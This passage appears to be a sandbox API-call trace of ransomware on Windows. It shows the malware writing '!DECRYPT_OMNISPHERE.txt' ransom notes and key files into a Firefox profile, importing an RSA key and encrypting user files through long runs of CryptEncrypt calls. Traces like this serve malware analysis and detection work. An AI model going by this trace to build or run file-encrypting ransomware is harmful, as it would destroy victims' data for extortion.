pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" [0161.937] GetProcessHeap () returned 0x1600000 [0161.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173ff10 [0161.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.938] WriteFile (in: hFile=0x3b4, lpBuffer=0x173ff10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x173ff10*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0161.938] CloseHandle (hObject=0x3b4) returned 1 [0161.938] GetProcessHeap () returned 0x1600000 [0161.938] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d150 | out: hHeap=0x1600000) returned 1 [0161.938] GetProcessHeap () returned 0x1600000 [0161.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174d150 [0161.938] PathCombineW (in: pszDest=0x174d150, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" [0161.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.939] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0161.939] CloseHandle (hObject=0x3b4) returned 1 [0161.939] GetProcessHeap () returned 0x1600000 [0161.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d150 | out: hHeap=0x1600000) returned 1 [0161.939] GetProcessHeap () returned 0x1600000 [0161.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0161.939] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8403501, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a68, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4", cAlternateFileName="15CA1A~1.JSO")) returned 1 [0161.939] GetProcessHeap () returned 0x1600000 [0161.939] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x174bb50 [0161.939] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" [0161.939] StrStrW (lpFirst=".omnisphere", lpSrch=".jsonlz4") returned 0x0 [0161.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.940] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=6760) returned 1 [0161.940] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.940] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e0be84, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c3cc, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesRead=0x3e0c3cc*=0x524, lpOverlapped=0x0) returned 1 [0161.942] GetTickCount () returned 0x116838f [0161.942] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.943] GetTickCount () returned 0x116838f [0161.944] GetTickCount () returned 0x116838f [0161.944] GetTickCount () returned 0x116838f [0161.944] GetTickCount () returned 0x116838f [0161.944] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1668df0) returned 1 [0161.944] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639568) returned 1 [0161.944] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0161.944] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.944] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0161.945] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a68, lpName=0x0) returned 0x398 [0161.945] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a68) returned 0x1480000 [0161.968] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668ac0) returned 1 [0161.969] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x1639868) returned 1 [0161.969] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0161.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0161.969] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.970] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.971] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.972] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, 